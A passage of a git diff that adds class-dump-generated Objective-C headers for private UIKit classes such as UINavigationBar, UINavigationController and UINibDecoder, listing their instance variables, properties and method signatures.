"NSObject.h" + + +@protocol UIMovieScrubberTrackViewDelegate +@optional +-(void)movieScrubberTrackView:(id)view clampedSizeWidthDelta:(float)delta actualSizeWidthDelta:(float)delta3 originXDelta:(float)delta4 minimumVisibleValue:(float)value maximumVisibleValue:(float)value6; +-(void)movieScrubberTrackViewDidExpand:(id)movieScrubberTrackView; +-(void)movieScrubberTrackViewDidCollapse:(id)movieScrubberTrackView; +-(void)movieScrubberTrackViewWillBeginRequestingThumbnails:(id)movieScrubberTrackView; +-(void)movieScrubberTrackViewDidFinishRequestingThumbnails:(id)movieScrubberTrackView; +-(float)movieScrubberTrackViewZoomAnimationDuration:(id)duration; +-(float)movieScrubberTrackViewZoomAnimationDelay:(id)delay; +@end + diff --git a/igor/headers/dumpedUIKit/UINavBarPrompt.h b/igor/headers/dumpedUIKit/UINavBarPrompt.h new file mode 100644 index 0000000..115d1b5 --- /dev/null +++ b/igor/headers/dumpedUIKit/UINavBarPrompt.h @@ -0,0 +1,27 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class NSString, UINavigationBar; + +__attribute__((visibility("hidden"))) +@interface UINavBarPrompt : UIView { +@private + NSString* _prompt; + UINavigationBar* _navBar; +} +-(id)initWithPrompt:(id)prompt navBar:(id)bar; +-(void)clearWeakReference:(id)reference; +-(void)dealloc; +-(void)setPrompt:(id)prompt; +-(id)prompt; +-(CGRect)promptBounds; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UINavigationBar.h b/igor/headers/dumpedUIKit/UINavigationBar.h new file mode 100644 index 0000000..379fbb6 --- /dev/null +++ b/igor/headers/dumpedUIKit/UINavigationBar.h @@ -0,0 +1,169 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIView.h" +#import "UIKit-Structs.h" +#import "NSCoding.h" +#import "UINavigationBar.h" + +@class UIColor, UINavigationItem, NSArray, NSMutableArray; + +@interface UINavigationBar : UIView { +@private + NSMutableArray* _itemStack; + float _rightMargin; + unsigned _state; + id _delegate; + UIView* _titleView; + UIView* _leftView; + UIView* _rightView; + UIView* _prompt; + UIView* _accessoryView; + UIColor* _tintColor; + struct { + unsigned animate : 1; + unsigned animationDisabledCount : 10; + unsigned transitioningBarStyle : 1; + unsigned newBarStyle : 3; + unsigned barStyle : 3; + unsigned isTranslucent : 1; + unsigned disableLayout : 1; + unsigned backPressed : 1; + unsigned animatePromptChange : 1; + unsigned pendingHideBackButton : 1; + unsigned titleAutosizesToFit : 1; + unsigned usingNewAPI : 1; + unsigned minibar : 1; + unsigned forceFullHeightInLandscape : 1; + unsigned isLocked : 1; + unsigned shouldUpdatePromptAfterTransition : 1; + unsigned roundedCorners : 1; + unsigned crossfadeItems : 1; + } _navbarFlags; +} +@property(retain, nonatomic) UIColor* tintColor; +@property(copy, nonatomic) NSArray* items; +@property(readonly, retain, nonatomic) UINavigationItem* backItem; +@property(readonly, retain, nonatomic) UINavigationItem* topItem; +@property(assign, nonatomic, getter=isTranslucent) BOOL translucent; +@property(assign, nonatomic) id delegate; +@property(assign, nonatomic) int barStyle; ++(CGSize)defaultSizeForOrientation:(int)orientation; ++(CGSize)defaultSizeWithPromptForOrientation:(int)orientation; ++(CGSize)defaultSize; ++(CGSize)defaultSizeWithPrompt; ++(id)defaultPromptFont; ++(void)setDefaultAnimationDuration:(double)duration; +-(float)defaultButtonHeight; +-(CGSize)defaultSizeForOrientation:(int)orientation; +-(void)_updateOpacity; +-(id)initWithFrame:(CGRect)frame; +-(id)initWithCoder:(id)coder; +-(void)_populateArchivedSubviews:(id)subviews; +-(void)encodeWithCoder:(id)coder; +-(void)dealloc; +-(BOOL)isLocked; +-(void)setLocked:(BOOL)locked; +-(id)_defaultTitleFont; +-(int)state; +-(void)drawRect:(CGRect)rect; +-(void)setAccessoryView:(id)view animate:(BOOL)animate; +-(void)pushNavigationItem:(id)item animated:(BOOL)animated; +-(void)_pushNavigationItem:(id)item transition:(int)transition; +-(void)_prepareForPushAnimationWithItems:(id)items; +-(void)pushNavigationItem:(id)item; +-(id)popNavigationItemAnimated:(BOOL)animated; +-(id)_popNavigationItemWithTransition:(int)transition; +-(void)_prepareForPopAnimationWithNewTopItem:(id)newTopItem; +-(void)popNavigationItem; +-(int)_transitionForOldItems:(id)oldItems newItems:(id)items; +-(void)setItems:(id)items animated:(BOOL)animated; +-(BOOL)_didVisibleItemsChangeWithNewItems:(id)newItems oldItems:(id)items; +-(void)_setItems:(id)items transition:(int)transition; +-(void)_setupTopNavItem:(id)item oldTopNavItem:(id)item2; +-(void)setNavigationItems:(id)items; +-(CGSize)sizeThatFits:(CGSize)fits; +-(id)navigationItems; +-(void)_cancelInProgressPushOrPop; +-(id)navigationItemAtPoint:(CGPoint)point; +-(void)_navigationAnimationDidFinish:(id)_navigationAnimation finished:(id)finished context:(void*)context; +-(BOOL)_canHandleStatusBarMouseEvents:(GSEventRef)events; +-(id)_commonHitTest:(CGPoint)test forView:(id)view; +-(id)hitTest:(CGPoint)test forEvent:(GSEventRef)event; +-(id)hitTest:(CGPoint)test withEvent:(id)event; +-(void)_handleMouseDownAtPoint:(CGPoint)point; +-(void)_handleMouseUpAtPoint:(CGPoint)point; +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)touchesMoved:(id)moved withEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(void)mouseDown:(GSEventRef)down; +-(void)mouseUp:(GSEventRef)up; +-(void)_updateNavigationBarItem:(id)item forStyle:(int)style; +-(void)didAddSubview:(id)subview; +-(void)_updateNavigationBarItemsForStyle:(int)style; +-(void)setHasRoundedCorners:(BOOL)corners; +-(BOOL)hasRoundedCorners; +-(BOOL)isMinibar; +-(BOOL)forceFullHeightInLandscape; +-(void)setForceFullHeightInLandscape:(BOOL)landscape; +-(void)setRightMargin:(float)margin; +-(void)setTitleAutoresizesToFit:(BOOL)fit; +-(BOOL)titleAutoresizesToFit; +-(void)updateTitleView; +-(void)setTitleView:(id)view; +-(id)currentLeftView; +-(id)currentRightView; +-(BOOL)_hasBackButton; +-(id)currentBackButton; +-(void)updatePrompt; +-(void)setPrompt:(id)prompt; +-(id)prompt; +-(id)promptView; +-(CGRect)promptBounds; +-(void)disableAnimation; +-(void)enableAnimation; +-(BOOL)isAnimationEnabled; +-(unsigned)animationDisabledCount; +-(void)drawBackgroundInRect:(CGRect)rect withStyle:(int)style; +-(void)drawBackButtonBackgroundInRect:(CGRect)rect withStyle:(int)style pressed:(BOOL)pressed; +-(void)showButtonsWithLeftTitle:(id)leftTitle rightTitle:(id)title; +-(void)showButtonsWithLeftTitle:(id)leftTitle rightTitle:(id)title leftBack:(BOOL)back; +-(void)showButtonsWithLeft:(id)left right:(id)right leftBack:(BOOL)back; +-(void)showLeftButton:(id)button withStyle:(int)style rightButton:(id)button3 withStyle:(int)style4; +-(void)_setLeftView:(id)view rightView:(id)view2; +-(void)_showLeftRightButtonsAnimationDidStop:(id)_showLeftRightButtonsAnimation finished:(id)finished context:(void*)context; +-(void)setButton:(int)button enabled:(BOOL)enabled; +-(id)createButtonWithContents:(id)contents width:(float)width barStyle:(int)style buttonStyle:(int)style4 isRight:(BOOL)right; +-(void)hideButtons; +-(void)_hideButtonsAnimationDidStop:(id)_hideButtonsAnimation finished:(id)finished context:(void*)context; +-(void)showBackButton:(BOOL)button animated:(BOOL)animated; +-(void)setFrame:(CGRect)frame; +-(void)setBounds:(CGRect)bounds; +-(CGRect)availableTitleArea; +-(void)_removeAccessoryView; +-(CGRect)_boundsForPrompt:(id)prompt inRect:(CGRect)rect withFont:(id)font barStyle:(int)style; +-(void)_drawPrompt:(id)prompt inRect:(CGRect)rect withFont:(id)font barStyle:(int)style; +-(void)_startBarStyleAnimation:(int)animation withTintColor:(id)tintColor; +-(void)_backgroundFadeDidFinish:(id)_backgroundFade finished:(id)finished context:(void*)context; +-(void)_startPushAnimationFromItems:(id)items fromBarStyle:(int)barStyle; +-(void)_startPopAnimationFromItems:(id)items fromBarStyle:(int)barStyle toItems:(id)items3 toBarStyle:(int)barStyle4; +-(void)_removeItemsFromSuperview:(id)superview; +-(void)_fadeViewOut:(id)anOut; +-(void)_fadeViewsOut:(id)anOut; +-(void)_fadeViewsIn:(id)anIn; +-(void)_adjustVisibleItemsByDelta:(float)delta; +-(float)_barWidth; +-(void)_getTitleViewFrame:(CGRect*)frame leftViewFrame:(CGRect*)frame2 rightViewFrame:(CGRect*)frame3; +-(void)layoutSubviews; +-(int)_barStyle:(BOOL)style; +-(void)_navBarButtonPressed:(id)pressed; +@end + +@interface UINavigationBar (UIKitAccessibilityInterfaceBuilderSupport) +-(BOOL)isElementAccessibilityExposedToInterfaceBuilder; +@end + diff --git a/igor/headers/dumpedUIKit/UINavigationBarBackground.h b/igor/headers/dumpedUIKit/UINavigationBarBackground.h new file mode 100644 index 0000000..6b63a08 --- /dev/null +++ b/igor/headers/dumpedUIKit/UINavigationBarBackground.h @@ -0,0 +1,26 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UIColor; + +__attribute__((visibility("hidden"))) +@interface UINavigationBarBackground : UIView { +@private + int _barStyle; + UIColor* _tintColor; + struct { + unsigned isTranslucent : 1; + } _navbarFlags; +} +-(id)initWithFrame:(CGRect)frame withBarStyle:(int)barStyle withTintColor:(id)tintColor isTranslucent:(BOOL)translucent; +-(void)dealloc; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UINavigationButton.h b/igor/headers/dumpedUIKit/UINavigationButton.h new file mode 100644 index 0000000..eed51d1 --- /dev/null +++ b/igor/headers/dumpedUIKit/UINavigationButton.h @@ -0,0 +1,42 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIButton.h" + +@class UIColor, NSString, UIImage, NSSet; + +@interface UINavigationButton : UIButton { +@private + NSSet* _possibleTitles; + int _style; + int _barStyle; + UIColor* _tintColor; + unsigned _size : 2; + unsigned _pad : 30; +} +@property(assign, nonatomic) int style; +@property(assign, nonatomic) int barStyle; +@property(retain, nonatomic) UIColor* tintColor; +@property(assign, nonatomic) int controlSize; +@property(retain, nonatomic) UIImage* image; +@property(retain, nonatomic) NSString* title; ++(id)defaultFont; +-(void)_updateStyle; +-(id)initWithValue:(id)value width:(float)width style:(int)style barStyle:(int)style4 possibleTitles:(id)titles tintColor:(id)color; +-(id)initWithTitle:(id)title; +-(id)initWithTitle:(id)title style:(int)style; +-(id)initWithTitle:(id)title possibleTitles:(id)titles style:(int)style; +-(id)initWithImage:(id)image width:(float)width style:(int)style; +-(id)initWithImage:(id)image; +-(id)initWithImage:(id)image style:(int)style; +-(void)dealloc; +-(BOOL)contentsEqualTo:(id)to withStyle:(int)style; +-(CGSize)sizeThatFits:(CGSize)fits; +-(BOOL)_canHandleStatusBarMouseEvents:(GSEventRef)events; +@end + diff --git a/igor/headers/dumpedUIKit/UINavigationController.h b/igor/headers/dumpedUIKit/UINavigationController.h new file mode 100644 index 0000000..47a83e7 --- /dev/null +++ b/igor/headers/dumpedUIKit/UINavigationController.h @@ -0,0 +1,173 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIViewController.h" + +@class UIView, UINavigationBar, UINavigationTransitionView, NSArray, NSMutableArray, UIToolbar; +@protocol UINavigationControllerDelegate; + +@interface UINavigationController : UIViewController { +@private + UIView* _containerView; + UINavigationBar* _navigationBar; + Class _navigationBarClass; + UIToolbar* _toolbar; + UIView* _navigationTransitionView; + UIEdgeInsets _currentScrollContentInsetDelta; + UIEdgeInsets _previousScrollContentInsetDelta; + float _previousScrollContentOffsetDelta; + float _bottomInsetDelta; + NSMutableArray* _viewControllers; + UIViewController* _disappearingViewController; + id _delegate; + struct { + unsigned isAppearingAnimated : 1; + unsigned isAlreadyPoppingNavigationItem : 1; + unsigned isNavigationBarHidden : 1; + unsigned isToolbarShown : 1; + unsigned needsDeferredTransition : 1; + unsigned isTransitioning : 1; + unsigned lastOperation : 4; + unsigned lastOperationAnimated : 1; + unsigned deferredTransition : 8; + unsigned didPreloadKeyboardAnimation : 1; + unsigned didHideBottomBar : 1; + unsigned isChangingOrientationForPop : 1; + } _navigationControllerFlags; +} +@property(assign, nonatomic) id delegate; +@property(retain, nonatomic) UIViewController* disappearingViewController; +@property(readonly, assign, nonatomic) UINavigationTransitionView* navigationTransitionView; +@property(assign, nonatomic) BOOL needsDeferredTransition; +@property(readonly, assign, nonatomic) UIViewController* bottomViewController; +@property(readonly, assign, nonatomic) UIViewController* previousViewController; +@property(readonly, assign, nonatomic) UIToolbar* toolbar; +@property(assign, nonatomic, getter=isToolbarHidden) BOOL toolbarHidden; +@property(readonly, assign, nonatomic) UINavigationBar* navigationBar; +@property(assign, nonatomic, getter=isNavigationBarHidden) BOOL navigationBarHidden; +@property(copy, nonatomic) NSArray* viewControllers; +@property(readonly, retain, nonatomic) UIViewController* visibleViewController; +@property(readonly, retain, nonatomic) UIViewController* topViewController; +-(id)initWithRootViewController:(id)rootViewController; +-(id)initWithNibName:(id)nibName bundle:(id)bundle; +-(id)initWithCoder:(id)coder; +-(BOOL)_shouldPersistViewWhenCoding; +-(void)encodeWithCoder:(id)coder; +-(void)_releaseContainerViews; +-(void)dealloc; +-(int)modalTransitionStyle; +-(int)_transitionForOldViewControllers:(id)oldViewControllers newViewControllers:(id)controllers; +-(void)setViewControllers:(id)controllers animated:(BOOL)animated; +-(id)_navigationItems; +-(void)_setViewControllers:(id)controllers transition:(int)transition; +-(Class)navigationBarClass; +-(void)setNavigationBarClass:(Class)aClass; +-(void)setNavigationBar:(id)bar; +-(BOOL)_animationParametersForHidingNavigationBar:(BOOL)hidingNavigationBar lastOperation:(int)operation edge:(int*)edge duration:(double*)duration; +-(void)setNavigationBarHidden:(BOOL)hidden animated:(BOOL)animated; +-(void)_setNavigationBarHidden:(BOOL)hidden edgeIfNotNavigating:(int)navigating duration:(double)duration; +-(void)_positionNavigationBarHidden:(BOOL)hidden; +-(void)_positionNavigationBarHidden:(BOOL)hidden edge:(int)edge; +-(void)_setNavigationBarHidden:(BOOL)hidden edge:(int)edge duration:(double)duration; +-(void)_hideShowNavigationBarDidStop:(id)_hideShowNavigationBar finished:(id)finished context:(void*)context; +-(id)_existingToolbar; +-(void)_configureToolbar; +-(void)setToolbar:(id)toolbar; +-(void)setToolbarHidden:(BOOL)hidden animated:(BOOL)animated; +-(void)_positionToolbarHidden:(BOOL)hidden; +-(void)_positionToolbarHidden:(BOOL)hidden edge:(int)edge; +-(void)_setToolbarHidden:(BOOL)hidden edge:(int)edge duration:(double)duration; +-(void)_hideShowToolbarDidStop:(id)_hideShowToolbar finished:(id)finished context:(void*)context; +-(void)loadView; +-(BOOL)isShown; +-(void)viewWillAppear:(BOOL)view; +-(void)viewDidMoveToWindow:(id)view shouldAppearOrDisappear:(BOOL)disappear; +-(void)viewDidAppear:(BOOL)view; +-(void)viewWillDisappear:(BOOL)view; +-(void)viewDidDisappear:(BOOL)view; +-(void)purgeMemoryForReason:(int)reason; +-(void)viewDidUnload; +-(void)setEditing:(BOOL)editing animated:(BOOL)animated; +-(BOOL)editing; +-(void)_updateToolbarItemsFromViewController:(id)viewController animated:(BOOL)animated; +-(BOOL)_reallyWantsFullScreenLayout; +-(void)willShowViewController:(id)controller animated:(BOOL)animated; +-(void)didShowViewController:(id)controller animated:(BOOL)animated; +-(void)navigationTransitionView:(id)view didEndTransition:(int)transition fromView:(id)view3 toView:(id)view4; +-(double)navigationTransitionView:(id)view durationForTransition:(int)transition; +-(void)setNeedsDeferredTransition; +-(int)lastOperation; +-(BOOL)wasLastOperationAnimated; +-(void)_updateBarsForCurrentInterfaceOrientation; +-(void)_updateLayoutForStatusBarAndInterfaceOrientation; +-(void)_applyScrollContentInsetDelta:(UIEdgeInsets)delta toScrollView:(id)scrollView; +-(void)_applyScrollContentOffsetDelta:(float)delta toScrollView:(id)scrollView; +-(void)_restoreOriginalInsetAndOffsetToScrollView:(id)scrollView; +-(BOOL)_hasTranslucentNavigationBarIncludingViewController:(id)controller; +-(BOOL)_isNavigationBarVisible; +-(BOOL)_shouldNavigationBarInsetViewController:(id)controller; +-(BOOL)_shouldChildViewControllerUseFullScreenLayout:(id)layout; +-(CGRect)_frameForViewController:(id)viewController; +-(void)_layoutTopViewController; +-(void)_computeAndApplyScrollContentInsetDeltaForViewController:(id)viewController; +-(void)_layoutViewController:(id)controller; +-(int)_navigationTransitionForUITransition:(int)uitransition; +-(void)_startTransition:(int)transition fromViewController:(id)viewController toViewController:(id)viewController3; +-(void)_startDeferredTransitionIfNeeded; +-(int)_deferredTransition; +-(void)_clearLastOperation; +-(void)viewWillLayoutSubviews; +-(void)pushViewController:(id)controller animated:(BOOL)animated; +-(void)pushViewController:(id)controller transition:(int)transition forceImmediate:(BOOL)immediate; +-(void)pushViewController:(id)controller transition:(int)transition; +-(id)popViewControllerAnimated:(BOOL)animated; +-(BOOL)_shouldBottomBarBeHidden; +-(void)_resetBottomBarHiddenState; +-(void)_updateBottomBarHiddenState; +-(void)_hideOrShowBottomBarIfNeededWithTransition:(int)transition; +-(void)_tabBarControllerDidFinishShowingTabBar:(id)_tabBarController; +-(id)_snapshotView; +-(BOOL)_shouldPopFromLandscapeToPortraitOrientation; +-(void)_popViewControllerAndUpdateInterfaceOrientationAnimated:(BOOL)animated; +-(id)_popViewControllerWithTransition:(int)transition allowPoppingLast:(BOOL)last; +-(id)popViewControllerWithAnimationTransition:(int)animationTransition duration:(double)duration curve:(int)curve; +-(id)popViewControllerWithTransition:(int)transition; +-(id)popToRootViewControllerAnimated:(BOOL)rootViewControllerAnimated; +-(id)popToRootViewControllerWithTransition:(int)transition; +-(id)popToViewController:(id)viewController animated:(BOOL)animated; +-(id)popToViewController:(id)viewController transition:(int)transition; +-(id)popToViewControllerWithSnapbackIdentifier:(id)snapbackIdentifier animated:(BOOL)animated; +-(void)makeModalViewControllerTopViewController; +-(BOOL)_allowsAutorotation; +-(BOOL)_doesTopViewControllerSupportInterfaceOrientation:(int)orientation; +-(BOOL)shouldAutorotateToInterfaceOrientation:(int)interfaceOrientation; +-(BOOL)_isSupportedInterfaceOrientation:(int)orientation; +-(id)rotatingHeaderView; +-(id)rotatingFooterView; +-(BOOL)_shouldUseOnePartRotation; +-(void)_getRotationContentSettings:(XXStruct_TF$i3B*)settings; +-(void)willRotateToInterfaceOrientation:(int)interfaceOrientation duration:(double)duration; +-(void)willAnimateRotationToInterfaceOrientation:(int)interfaceOrientation duration:(double)duration; +-(void)willAnimateFirstHalfOfRotationToInterfaceOrientation:(int)interfaceOrientation duration:(double)duration; +-(void)didAnimateFirstHalfOfRotationToInterfaceOrientation:(int)interfaceOrientation; +-(void)willAnimateSecondHalfOfRotationFromInterfaceOrientation:(int)interfaceOrientation duration:(double)duration; +-(void)didRotateFromInterfaceOrientation:(int)interfaceOrientation; +-(void)updateTitleForViewController:(id)viewController; +-(BOOL)navigationBar:(id)bar shouldPopItem:(id)item; +-(void)navigationBar:(id)bar buttonClicked:(int)clicked; +-(void)navigationBarDidResizeForPrompt:(id)navigationBar; +-(void)navigationBarDidChangeOpacity:(id)navigationBar; +-(id)defaultPNGName; +-(id)tabBarItem; +-(void)updateTabBarItemForViewController:(id)viewController; +-(id)_moreListTitle; +-(id)moreListImage; +-(id)moreListSelectedImage; +-(id)moreListTableCell; +@end + diff --git a/igor/headers/dumpedUIKit/UINavigationItem.h b/igor/headers/dumpedUIKit/UINavigationItem.h new file mode 100644 index 0000000..d9bec92 --- /dev/null +++ b/igor/headers/dumpedUIKit/UINavigationItem.h @@ -0,0 +1,79 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import +#import "NSCoding.h" + +@class NSString, UINavigationBar, UIView, UIBarButtonItem; + +@interface UINavigationItem : NSObject { +@private + NSString* _title; + NSString* _backButtonTitle; + UIBarButtonItem* _backBarButtonItem; + NSString* _prompt; + int _tag; + id _context; + UINavigationBar* _navigationBar; + UIView* _defaultTitleView; + UIView* _titleView; + UIView* _backButtonView; + UIBarButtonItem* _leftBarButtonItem; + UIBarButtonItem* _rightBarButtonItem; + UIView* _customLeftView; + UIView* _customRightView; + BOOL _hidesBackButton; +} +@property(retain, nonatomic) UIView* titleView; +@property(retain, nonatomic) UIBarButtonItem* rightBarButtonItem; +@property(retain, nonatomic) UIBarButtonItem* leftBarButtonItem; +@property(assign, nonatomic) BOOL hidesBackButton; +@property(copy, nonatomic) NSString* prompt; +@property(retain, nonatomic) UIBarButtonItem* backBarButtonItem; +@property(copy, nonatomic) NSString* title; ++(id)defaultFont; +-(id)initWithTitle:(id)title; +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +-(void)dealloc; +-(id)navigationBar; +-(void)setNavigationBar:(id)bar; +-(void)setBackButtonTitle:(id)title; +-(id)backButtonTitle; +-(float)width; +-(void)setWidth:(float)width; +-(void)setFont:(id)font; +-(id)font; +-(void)setTag:(int)tag; +-(int)tag; +-(void)setContext:(id)context; +-(id)context; +-(void)_removeTitleAndButtonViews; +-(id)existingBackButtonView; +-(id)backButtonView; +-(void)updateNavigationBarButtonsAnimated:(BOOL)animated; +-(void)setHidesBackButton:(BOOL)button animated:(BOOL)animated; +-(void)setLeftBarButtonItem:(id)item animated:(BOOL)animated; +-(void)setRightBarButtonItem:(id)item animated:(BOOL)animated; +-(id)customLeftView; +-(void)setCustomLeftView:(id)view; +-(void)setCustomLeftView:(id)view animated:(BOOL)animated; +-(id)customRightView; +-(void)setCustomRightView:(id)view; +-(void)setCustomRightView:(id)view animated:(BOOL)animated; +-(id)_titleView; +-(void)setCustomTitleView:(id)view; +-(id)customTitleView; +-(void)setCustomLeftItem:(id)item; +-(id)customLeftItem; +-(void)setCustomLeftItem:(id)item animated:(BOOL)animated; +-(void)setCustomRightItem:(id)item; +-(id)customRightItem; +-(void)setCustomRightItem:(id)item animated:(BOOL)animated; +-(id)_automationID; +@end + diff --git a/igor/headers/dumpedUIKit/UINavigationItemButtonView.h b/igor/headers/dumpedUIKit/UINavigationItemButtonView.h new file mode 100644 index 0000000..7f08d5b --- /dev/null +++ b/igor/headers/dumpedUIKit/UINavigationItemButtonView.h @@ -0,0 +1,30 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UINavigationItemView.h" + + +__attribute__((visibility("hidden"))) +@interface UINavigationItemButtonView : UINavigationItemView { +@private + int _style; + BOOL _pressed; +} +-(void)drawRect:(CGRect)rect; +-(id)title; +-(id)image; +-(CGSize)imageSize; +-(void)_styleAnimationDidStop:(id)_styleAnimation finished:(id)finished context:(id)context; +-(void)setStyle:(int)style animated:(BOOL)animated; +-(void)setStyle:(int)style; +-(void)setPressed:(BOOL)pressed; +-(BOOL)pressed; +-(id)_scriptingInfo; +-(id)_defaultFont; +@end + diff --git a/igor/headers/dumpedUIKit/UINavigationItemView.h b/igor/headers/dumpedUIKit/UINavigationItemView.h new file mode 100644 index 0000000..ae299fb --- /dev/null +++ b/igor/headers/dumpedUIKit/UINavigationItemView.h @@ -0,0 +1,36 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UINavigationItem, UIFont; + +__attribute__((visibility("hidden"))) +@interface UINavigationItemView : UIView { +@private + UIFont* _font; + UINavigationItem* _item; + float _titleWidth; + BOOL _titleAutosizesToFit; +} +-(id)initWithNavigationItem:(id)navigationItem; +-(id)navigationItem; +-(id)_defaultFont; +-(void)drawText:(id)text inRect:(CGRect)rect; +-(void)setFrame:(CGRect)frame; +-(void)drawRect:(CGRect)rect; +-(void)_resetTitleWidth; +-(float)_titleWidth; +-(id)title; +-(void)setTitleAutoresizesToFit:(BOOL)fit; +-(BOOL)titleAutoresizesToFit; +-(void)setFont:(id)font; +-(id)font; +-(id)_scriptingInfo; +@end + diff --git a/igor/headers/dumpedUIKit/UINavigationTransitionView.h b/igor/headers/dumpedUIKit/UINavigationTransitionView.h new file mode 100644 index 0000000..8ac685e --- /dev/null +++ b/igor/headers/dumpedUIKit/UINavigationTransitionView.h @@ -0,0 +1,35 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "NSCoding.h" +#import "UIView.h" + + +@interface UINavigationTransitionView : UIView { +@private + id _delegate; + UIView* _fromView; + UIView* _toView; + int _transition; + UIView* _firstResponderToRestore; + float _fromViewAlpha; + unsigned _isTransitioning : 1; +} +@property(assign, nonatomic) id delegate; ++(double)defaultDurationForTransition:(int)transition; +-(id)initWithFrame:(CGRect)frame; +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +-(void)dealloc; +-(BOOL)transition:(int)transition toView:(id)view; +-(BOOL)transition:(int)transition fromView:(id)view toView:(id)view3; +-(BOOL)isTransitioning; +-(void)_notifyDelegateTransitionDidStopWithContext:(id)_notifyDelegateTransition; +-(void)_navigationTransitionDidStop; +@end + diff --git a/igor/headers/dumpedUIKit/UINib.h b/igor/headers/dumpedUIKit/UINib.h new file mode 100644 index 0000000..79b1978 --- /dev/null +++ b/igor/headers/dumpedUIKit/UINib.h @@ -0,0 +1,29 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class NSData, UINibDecoder; + +__attribute__((visibility("hidden"))) +@interface UINib : NSObject { +@private + NSData* archiveData; + UINibDecoder* nibDecoder; + BOOL instantiatingForSimulator; +} +-(id)initWithData:(id)data; +-(id)initWithContentsOfURL:(id)url; +-(id)initWithContentsOfFile:(id)file; +-(void)dealloc; +-(BOOL)instantiatingForSimulator; +-(void)setInstantiatingForSimulator:(BOOL)simulator; +-(id)instantiateWithOwner:(id)owner loadingResourcesFromBundle:(id)bundle; +-(id)unarchiverForInstantiatingReturningError:(id*)instantiatingReturningError; +-(id)instantiateWithOptions:(id)options owner:(id)owner loadingResourcesFromBundle:(id)bundle; +@end + diff --git a/igor/headers/dumpedUIKit/UINibDecoder.h b/igor/headers/dumpedUIKit/UINibDecoder.h new file mode 100644 index 0000000..479947d --- /dev/null +++ b/igor/headers/dumpedUIKit/UINibDecoder.h @@ -0,0 +1,86 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import + +@class UINibStringIDTable; + +__attribute__((visibility("hidden"))) +@interface UINibDecoder : NSCoder { +@private + Class arrayClass; + Class setClass; + Class dictionaryClass; + Class* classes; + NSString** missingClasses; + UINibDecoderObjectEntry* objects; + UINibDecoderValue* values; + char* valueTypes; + void* valueData; + unsigned valueDataSize; + UINibDecoderHeader header; + id* objectsByObjectID; + unsigned* longObjectClassIDs; + char* shortObjectClassIDs; + unsigned* keyMasks; + int inlinedValueKey; + UINibDecoderRecursiveState recursiveState; + UINibStringIDTable* keyIDTable; + id delegate; + UIKeyToKeyIDCache keyIDCache; + UIKeyAndScopeToValueCache valueCache; + int lookupRounds; + int maxPossibleLookupRounds; + int failedByKeyMask; + int savedByKeyMask; +} +@property(assign) id delegate; ++(id)unarchiveObjectWithData:(id)data; ++(id)unarchiveObjectWithFile:(id)file; +-(id)initForReadingWithData:(id)data error:(id*)error; +-(id)initForReadingWithData:(id)data; +-(void)dealloc; +-(BOOL)validateAndIndexData:(id)data error:(id*)error; +-(BOOL)validateAndIndexClasses:(const void*)classes length:(unsigned long)length; +-(BOOL)validateAndIndexObjects:(const void*)objects length:(unsigned long)length; +-(BOOL)validateAndIndexValues:(const void*)values length:(unsigned long)length; +-(BOOL)validateAndIndexKeys:(const void*)keys length:(unsigned long)length; +-(id)nextGenericKey; +-(void)replaceObject:(id)object withObject:(id)object2; +-(BOOL)allowsKeyedCoding; +-(BOOL)containsValueForKey:(id)key; +-(id)decodeObjectForKey:(id)key; +-(const char*)decodeBytesForKey:(id)key returnedLength:(unsigned*)length; +-(BOOL)decodeBoolForKey:(id)key; +-(float)decodeFloatForKey:(id)key; +-(double)decodeDoubleForKey:(id)key; +-(long long)decodeInt64ForKey:(id)key; +-(int)decodeIntegerForKey:(id)key; +-(int)decodeIntForKey:(id)key; 